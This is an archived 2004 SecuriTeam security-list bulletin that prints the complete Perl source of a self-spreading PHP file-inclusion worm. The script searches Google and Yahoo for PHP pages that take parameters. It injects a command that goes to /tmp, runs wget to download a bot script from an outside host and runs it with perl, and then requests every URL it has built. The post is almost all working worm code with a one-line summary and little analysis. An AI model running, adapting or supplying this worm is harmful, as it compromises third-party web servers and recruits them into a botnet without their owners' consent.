[EXPL] PHP Scripts Automated Arbitrary File Inclusion (Worm)

From: SecuriTeam (support_at_securiteam.com)
Date: 12/27/04

  • Next message: SecuriTeam: "[NT] Microsoft Windows LoadImage API Integer Buffer Overflow"
    To: list@securiteam.com
    Date: 27 Dec 2004 12:33:53 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      PHP Scripts Automated Arbitrary File Inclusion (Worm)
    ------------------------------------------------------------------------

    SUMMARY

    The following exploit/worm (PhpInclude.Worm) attacks any CGI it can find
    using Google and Yahoo and tries to cause them to include an arbitrary PHP
    file that is then executed becoming the sibling of the worm.

    DETAILS

    Exploit:
    #!/usr/bin/perl

    use LWP::Simple;
    use IO::Socket::INET;

    while(1){
    $numr = int rand(9999);
    $caxe = ".";
    $caxe1 = ".";
    $caxe .= rand(9999);
    $caxe1 .= rand(9999);
    $arq = ".";
    $arq = int rand(9999);

    open(sites,">$arq");
    print sites "";
    close(sites);

    $procura = 'inurl:*.php?*=' . $numr;

    for($n=0;$n<900;$n += 10){
    $sock = IO::Socket::INET->new(PeerAddr => "www.googl3.com.br", PeerPort
    -> 80, Proto => "tcp") or next;
    print $sock "GET /s3arch?q=$procura&start=$n HTTP/1.0\n\n";
    @resu = <$sock>;
    close($sock);
    $ae = "@resu";
    while ($ae=~ m/<a href=.*?>.*?<\/a>/){
    $ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
    $uber=$1;
    if ($uber !~/translate/)
    {
    if ($uber !~ /cache/)
    {
    if ($uber !~ /"/)
    {
    if ($uber !~ /google/)
    {
    if ($uber !~ /216/)
    {
    if ($uber =~/http/)
    {
    if ($uber !~ /start=/)
    {
    open(arq,">>$arq");
    print arq "$uber\n";
    close(arq);
    }}}}}}}}}

    for($cadenu=1;$cadenu <= 991; $cadenu +=10){

    @cade =
    get("http://cad3.s3arch.yahoo.com/s3arch?p=$procura&3i=UTF-8&fl=0&all=1
    &pstart=1&b=$cadenu") or next;
    $ae = "@cade";

    while ($ae=~ m/<em class=yschurl>.*?<\/em>/){
    $ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/;
    $uber=$1;

    $uber =~ s/ //g;
    $uber =~ s/<b>//g;
    $uber =~ s/<\/b>//g;

    open(a,">>$arq");
    print a "$uber\n";
    close(a);
    }}

    $ark = $arq;
    @si = "";
    open (arquivo,"<$ark");
    @si = <arquivo>;
    close(arquivo);
    $novo ="";
    foreach (@si){
    if (!$si{$_})
    {
    $novo .= $_;
    $si{$_} = 1;
    }
    }
    open (arquivo,">$ark");
    print arquivo $novo;
    close(arquivo);

    $a =0;
    $b =0;
    open(ae,"<$arq");
    while(<ae>)
    {$sites[$a] = $_;
    chomp $sites[$a];
    $a++;
    $b++;}
    close(ae);

    for ($a=0;$a<=$b;$a++){
    open (file, ">$caxe");
    print file "";
    close(file);
    open (file, ">$caxe1");
    print file "";
    close(file);
    $k=0;
    $e=0;
    $data=get($sites[$a]) or next;
    while($data=~ m/<a href=".*?">.*?<\/a>/){
    $data=~ s/<a href="(.*?)">.*?<\/a>/$1/;
    $ubersite=$1;

    if ($ubersite =~/"/)
    {
    $nu = index $ubersite, '"';
    $ubersite = substr($ubersite,0,$nu);
    }
    if ($ubersite !~/http/)
    {$ubersite = $sites[$a].'/'.$ubersite;}
    open(file,">>$caxe") || die("nao abriu caxe.txt $!");
    print file "$ubersite\n";
    close(file);
    }

    $lista1 = 'http://server/spy.gif?&cmd=cd /tmp;wget
    www.server.tld/spybot.txt; perl php.txt';
    # Other filenames included with this and other variants :
    # adfkgnnodfijg
    # bot
    # bot.txt
    # bot.txt.1
    # dry.scp
    # ssh.a
    # terrorbot.txt
    # terrorbot.txt.1
    # terrorworm.txt
    # terrorworm.txt.1
    # unbot.txt
    # unbot.txt.1
    # unbot.txt.2
    # unbot.txt.3
    # unworm.txt
    # unworm.txt.1
    # unworm.txt.2
    # unworm.txt.3
    # worm1.txt
    # worm.txt
    # worm.txt.1
    $t =0;
    $y =0;
    @ja;
    open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt";
    while (<opa>)
    {
    $ja[$t] = $_;
    chomp $ja[$t];
    $t++;
    $y++;
    }
    close(opa);
    $t=1;
    while ($t < $y)
    {
    if ($ja[$t] =~/=/)
    {
    $num = rindex $ja[$t], '=';
    $num += 1;
    $ja[$t] = substr($ja[$t],0,$num);
    open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
    print jaera "$ja[$t]$lista1\n";
    close(jaera);
    $num = index $ja[$t], '=';
    $num += 1;
    $ja[$t] = substr($ja[$t],0,$num);
    $num1 = rindex $ja[$t], '.';
    $subproc = substr($ja[$t],$num1,$num);

    open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
    print jaera "$ja[$t]$lista1\n";
    close(jaera);
    }
    $t++;
    }
    $ark = "$caxe1";
    @si = "";
    open (arquivo,"<$ark");
    @si = <arquivo>;
    close(arquivo);
    $novo ="";
    foreach (@si){
    if (!$si{$_})
    {
    $novo .= $_;
    $si{$_} = 1;
    }
    }
    open (arquivo,">$ark");
    print arquivo $novo;
    close(arquivo);
    $q=0;
    $w=0;
    @hot;
    open (ops,"<$caxe1");
    while(<ops>)
    {
    $hot[$q] = $_;
    chomp $hot[$q];
    $q++;
    $w++;
    }
    close(ops);

    for($q=0;$q<=$w;$q++)
    {

    if ($hot[$q] =~/http/)
    {
    $tipo=get($hot[$q]) or next;
    }}
    }
    }

    ADDITIONAL INFORMATION

    The information has been provided by Anonymous.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Microsoft Windows LoadImage API Integer Buffer Overflow"

    Relevant Pages

    • [NT] Cross Application Scripting in Trend Micros Antivirus Software
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The SecuriTeam alerts list - Free, Accurate, Independent. ... When the product alerts the user of a possible virus, it creates an HTML ...
      (Securiteam)
    • [NT] Microsoft Windows NTFS Improper Handler Closing
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... from a system shutdown, uninitialized data may be visible in files from ...
      (Securiteam)
    • [NEWS] Gecko Engine Multiple Vendor DoS (History.dat)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Basically firefox logs all kinda of URL data in it's history.dat file, ... it will instantly crash due to a buffer overflow -- this will ...
      (Securiteam)
    • [UNIX] PAJAX XSS and File Inclusion
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... PAJAX XSS and File Inclusion ... cross site scripting and file inclusion attacks by using the PAJAX ...
      (Securiteam)
    • [EXPL] QK SMTP DoS (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... QK SMTP DoS ... static char overflow; ...
      (Securiteam)